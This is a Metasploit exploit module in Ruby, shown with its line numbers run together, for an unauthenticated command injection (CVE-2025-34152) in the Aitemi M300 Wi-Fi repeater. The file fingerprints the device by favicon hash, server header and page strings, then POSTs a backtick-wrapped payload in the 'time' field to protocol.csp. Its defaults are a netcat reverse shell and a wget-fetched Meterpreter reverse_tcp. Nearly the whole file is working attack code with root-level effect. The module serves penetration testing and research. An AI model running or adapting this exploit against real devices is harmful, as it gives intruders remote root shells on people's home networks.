Path: blob/master/modules/exploits/linux/http/aitemi_m300_time_rce.rb
21839 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'digest'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::Remote::HttpClient11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE (time param)',18'Description' => %q{19This module exploits an unauthenticated remote command injection vulnerability20in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02). The vulnerability21lies in the 'time' parameter of the time configuration endpoint, which is passed22unsanitized to a shell command executed via the `date -s` mechanism. The injection23executes with root privileges, without requiring authentication, reboot, or24network reconfiguration.25},26'Author' => [27'Valentin Lobstein' # Vulnerability discovery and Metasploit module28],29'License' => MSF_LICENSE,30'References' => [31['URL', 'https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/'],32['CVE', '2025-34152']33],34'Platform' => %(linux unix),35'Arch' => [ARCH_CMD, ARCH_MIPSBE],36'Payload' => {37'BadChars' => "\x60"38},39'Targets' => [40[41'Unix Command',42{43'Platform' => 'unix',44'Arch' => ARCH_CMD,45'DefaultOptions' => {46'PAYLOAD' => 'cmd/unix/reverse_netcat'47}48}49],50[51'Linux Meterpreter MIPSBE (MAY crash HTTP worker)',52{53'Platform' => 'linux',54'Arch' => [ARCH_CMD, ARCH_MIPSBE],55'DefaultOptions' => {56'FETCH_DELETE' => true,57'FETCH_COMMAND' => 'WGET',58'FETCH_WRITABLE_DIR' => '/tmp',59'PAYLOAD' => 'cmd/linux/http/mipsbe/meterpreter/reverse_tcp'60}61}62]63],64'DefaultTarget' => 0,65'Privileged' => true,66'DisclosureDate' => '2025-08-07',67'Notes' => {68'Stability' => [CRASH_SERVICE_DOWN],69'Reliability' => [REPEATABLE_SESSION],70'SideEffects' => [IOC_IN_LOGS]71}72)73)74end7576def check77fingerprint_hits = []7879res = send_request_cgi(80'method' => 'GET',81'uri' => normalize_uri(target_uri.path, 'favicon.ico')82)8384return CheckCode::Unknown('No response from target') unless res85return CheckCode::Safe('favicon.ico not found') unless res.code == 2008687hash = Digest::SHA256.hexdigest(res.body)88if hash == 'eed1926b9b10ed9c54de6215dded343d066f7e447a7b62fe9700b7af4b34d8ee'89print_good('Favicon hash matched – likely Aitemi M300 device')90fingerprint_hits << 'favicon'91end9293server_header = res.headers['Server']94if server_header&.start_with?('lighttpd/1.4.32')95print_good("HTTP server version matched: #{server_header}")96fingerprint_hits << 'httpd'97end9899%w[index.html home.html].each do |page|100res_html = send_request_cgi(101'method' => 'GET',102'uri' => normalize_uri(target_uri.path, page)103)104105next unless res_html&.code == 200106107if res_html.body.include?('langen.js') && res_html.body.include?('dw(TT_SetWifiExt)')108print_good("HTML fingerprint matched in #{page} – UI strings detected")109return CheckCode::Appears('HTML language markers confirmed')110end111end112113if fingerprint_hits.any?114return CheckCode::Detected("Partial match: #{fingerprint_hits.join(', ')}")115end116117CheckCode::Unknown('No identifiable fingerprint found')118end119120def exploit121raw_payload = "`#{payload.encoded}`"122encoded_payload = CGI.escape(raw_payload).gsub('+', '%20')123124send_request_cgi(125'method' => 'POST',126'uri' => normalize_uri(target_uri.path, 'protocol.csp?'),127'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',128'data' => "fname=system&opt=time_conf&function=set&time=#{encoded_payload}"129)130end131end132133134